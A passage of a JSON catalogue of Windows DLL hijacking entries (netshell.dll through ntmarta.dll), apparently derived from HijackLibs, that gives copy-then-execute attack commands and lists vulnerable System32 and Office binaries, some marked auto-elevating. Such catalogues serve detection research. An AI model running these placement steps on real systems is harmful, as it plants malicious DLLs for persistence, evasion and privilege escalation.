    "description": "netshell.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "netshell.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-netshell",
    "name": "netshell.dll",
    "namespace": "windows:dllhijack:netshell",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netshell.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious nettrace.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\nettrace.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# nettrace.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-nettrace.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nettrace.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "nettrace.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-nettrace",
    "name": "nettrace.dll",
    "namespace": "windows:dllhijack:nettrace",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nettrace.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious netutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\netutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\at.exe\\\"\"\n\n# netutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\at.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\change.exe (Sideloading)\n- %SYSTEM32%\\chglogon.exe (Sideloading)\n- %SYSTEM32%\\chgport.exe (Sideloading)\n- %SYSTEM32%\\credwiz.exe (Sideloading)\n- %SYSTEM32%\\csvde.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\devicecensus.exe (Sideloading)\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\djoin.exe (Sideloading)\n- %SYSTEM32%\\dpapimig.exe (Sideloading)\n- %SYSTEM32%\\driverquery.exe (Sideloading)\n- %SYSTEM32%\\dsacls.exe (Sideloading)\n- %SYSTEM32%\\dsdbutil.exe (Sideloading)\n- %SYSTEM32%\\dsmgmt.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\easinvoker.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\eventcreate.exe (Sideloading)\n- %SYSTEM32%\\getmac.exe (Sideloading)\n- %SYSTEM32%\\gpfixup.exe (Sideloading)\n- %SYSTEM32%\\gpresult.exe (Sideloading)\n- %SYSTEM32%\\ie4uinit.exe (Sideloading)\n- %SYSTEM32%\\klist.exe (Sideloading)\n- %SYSTEM32%\\ksetup.exe (Sideloading)\n- %SYSTEM32%\\ldifde.exe (Sideloading)\n- %SYSTEM32%\\mshta.exe (Sideloading)\n- %SYSTEM32%\\mstsc.exe (Sideloading)\n- %SYSTEM32%\\net.exe (Sideloading)\n- %SYSTEM32%\\net1.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\netplwiz.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\nltest.exe (Sideloading)\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n- %SYSTEM32%\\openfiles.exe (Sideloading)\n- %SYSTEM32%\\query.exe (Sideloading)\n- %SYSTEM32%\\quser.exe (Sideloading)\n- %SYSTEM32%\\qwinsta.exe (Sideloading)\n- %SYSTEM32%\\raserver.exe (Sideloading)\n- %SYSTEM32%\\redircmp.exe (Sideloading)\n- %SYSTEM32%\\redirusr.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\rendom.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n- %SYSTEM32%\\reset.exe (Sideloading)\n- %SYSTEM32%\\runas.exe (Sideloading)\n- %SYSTEM32%\\rwinsta.exe (Sideloading)\n- %SYSTEM32%\\setspn.exe (Sideloading)\n- %SYSTEM32%\\shrpubw.exe (Sideloading)\n- %SYSTEM32%\\spaceagent.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\taskkill.exe (Sideloading)\n- %SYSTEM32%\\tasklist.exe (Sideloading)\n- %SYSTEM32%\\tscon.exe (Sideloading)\n- %SYSTEM32%\\tskill.exe (Sideloading)\n- %SYSTEM32%\\w32tm.exe (Sideloading)\n- %SYSTEM32%\\waitfor.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n- %SYSTEM32%\\whoami.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-netutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "netutils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "netutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-netutils",
    "name": "netutils.dll",
    "namespace": "windows:dllhijack:netutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/netutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious networkexplorer.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\networkexplorer.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# networkexplorer.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-networkexplorer.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "networkexplorer.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "networkexplorer.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-networkexplorer",
    "name": "networkexplorer.dll",
    "namespace": "windows:dllhijack:networkexplorer",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/networkexplorer.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious newdev.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\newdev.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\infdefaultinstall.exe\\\"\"\n\n# newdev.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\infdefaultinstall.exe (Sideloading)\n- %SYSTEM32%\\pnpunattend.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-newdev.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "newdev.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "newdev.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-newdev",
    "name": "newdev.dll",
    "namespace": "windows:dllhijack:newdev",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/newdev.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious ninput.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ninput.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\multidigimon.exe\\\"\"\n\n# ninput.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\multidigimon.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tabcal.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ninput.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "ninput.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ninput.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-ninput",
    "name": "ninput.dll",
    "namespace": "windows:dllhijack:ninput",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ninput.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious nlaapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\nlaapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# nlaapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-nlaapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nlaapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "nlaapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-nlaapi",
    "name": "nlaapi.dll",
    "namespace": "windows:dllhijack:nlaapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nlaapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious nlansp_c.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\nlansp_c.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\ftp.exe\\\"\"\n\n# nlansp_c.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\ftp.exe (Environment Variable)\n- %SYSTEM32%\\hostname.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-nlansp-c.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nlansp_c.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "nlansp_c.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-nlansp-c",
    "name": "nlansp_c.dll",
    "namespace": "windows:dllhijack:nlansp-c",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nlansp-c.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious npmproxy.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\npmproxy.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\apphostregistrationverifier.exe\\\"\"\n\n# npmproxy.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\apphostregistrationverifier.exe (Environment Variable)\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n- %SYSTEM32%\\directxdatabaseupdater.exe (Environment Variable)\n- %SYSTEM32%\\fxscover.exe (Environment Variable)\n- %SYSTEM32%\\microsoft.uev.synccontroller.exe (Environment Variable)\n- %SYSTEM32%\\rdpclip.exe (Environment Variable)\n- %SYSTEM32%\\wordpad.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\outlook.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\powerpnt.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\winword.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\clview.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\cnfnot32.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excelcnv.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\graph.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msaccess.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msoia.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msosrec.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\mspub.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\msqry32.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\namecontrolserver.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\onenote.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\protocolhandler.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\scanpst.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\sdxhelper.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\setlang.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-npmproxy.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "npmproxy.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "npmproxy.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-npmproxy",
    "name": "npmproxy.dll",
    "namespace": "windows:dllhijack:npmproxy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/npmproxy.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious nshhttp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\nshhttp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# nshhttp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-nshhttp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nshhttp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "nshhttp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-nshhttp",
    "name": "nshhttp.dll",
    "namespace": "windows:dllhijack:nshhttp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nshhttp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious nshipsec.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\nshipsec.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# nshipsec.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-nshipsec.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nshipsec.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "nshipsec.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip"
    ],
    "id": "windows-dllhijack-nshipsec",
    "name": "nshipsec.dll",
    "namespace": "windows:dllhijack:nshipsec",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nshipsec.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious nshwfp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\nshwfp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# nshwfp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-nshwfp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "nshwfp.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "nshwfp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-nshwfp",
    "name": "nshwfp.dll",
    "namespace": "windows:dllhijack:nshwfp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/nshwfp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ntdsapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ntdsapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certutil.exe\\\"\"\n\n# ntdsapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\cipher.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\dnscmd.exe (Sideloading)\n- %SYSTEM32%\\dsacls.exe (Sideloading)\n- %SYSTEM32%\\dsadd.exe (Sideloading)\n- %SYSTEM32%\\dsdbutil.exe (Sideloading)\n- %SYSTEM32%\\dsget.exe (Sideloading)\n- %SYSTEM32%\\dsmgmt.exe (Sideloading)\n- %SYSTEM32%\\dsquery.exe (Sideloading)\n- %SYSTEM32%\\gpresult.exe (Sideloading)\n- %SYSTEM32%\\licmgr.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\nltest.exe (Sideloading)\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n- %SYSTEM32%\\rendom.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n- %SYSTEM32%\\setspn.exe (Sideloading)\n- %SYSTEM32%\\w32tm.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-ntdsapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ntdsapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ntdsapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ntdsapi",
    "name": "ntdsapi.dll",
    "namespace": "windows:dllhijack:ntdsapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ntdsapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ntlanman.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ntlanman.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# ntlanman.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\msdt.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\powershell.exe (Environment Variable)\n- %SYSTEM32%\\stordiag.exe (Environment Variable)\n- %SYSTEM32%\\tabcal.exe (Environment Variable)\n- %SYSTEM32%\\verifier.exe (Environment Variable)\n- %SYSTEM32%\\workfolders.exe (Environment Variable)\n- %SYSTEM32%\\write.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ntlanman.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ntlanman.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "ntlanman.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ntlanman",
    "name": "ntlanman.dll",
    "namespace": "windows:dllhijack:ntlanman",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ntlanman.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ntlmshared.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ntlmshared.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\at.exe\\\"\"\n\n# ntlmshared.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\at.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-ntlmshared.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ntlmshared.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "ntlmshared.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ntlmshared",
    "name": "ntlmshared.dll",
    "namespace": "windows:dllhijack:ntlmshared",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/ntlmshared.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious ntmarta.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\ntmarta.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\cacls.exe\\\"\"\n\n# ntmarta.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\cacls.exe (Sideloading)\n- %PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\Edge\\Application\\msedge.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft\\EdgeWebView\\Application\\%VERSION%\\msedgewebview2.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-ntmarta.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "ntmarta.dll — Sideloading, Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "ntmarta.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-ntmarta",
    "name": "ntmarta.dll",
    "namespace": "windows:dllhijack:ntmarta",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
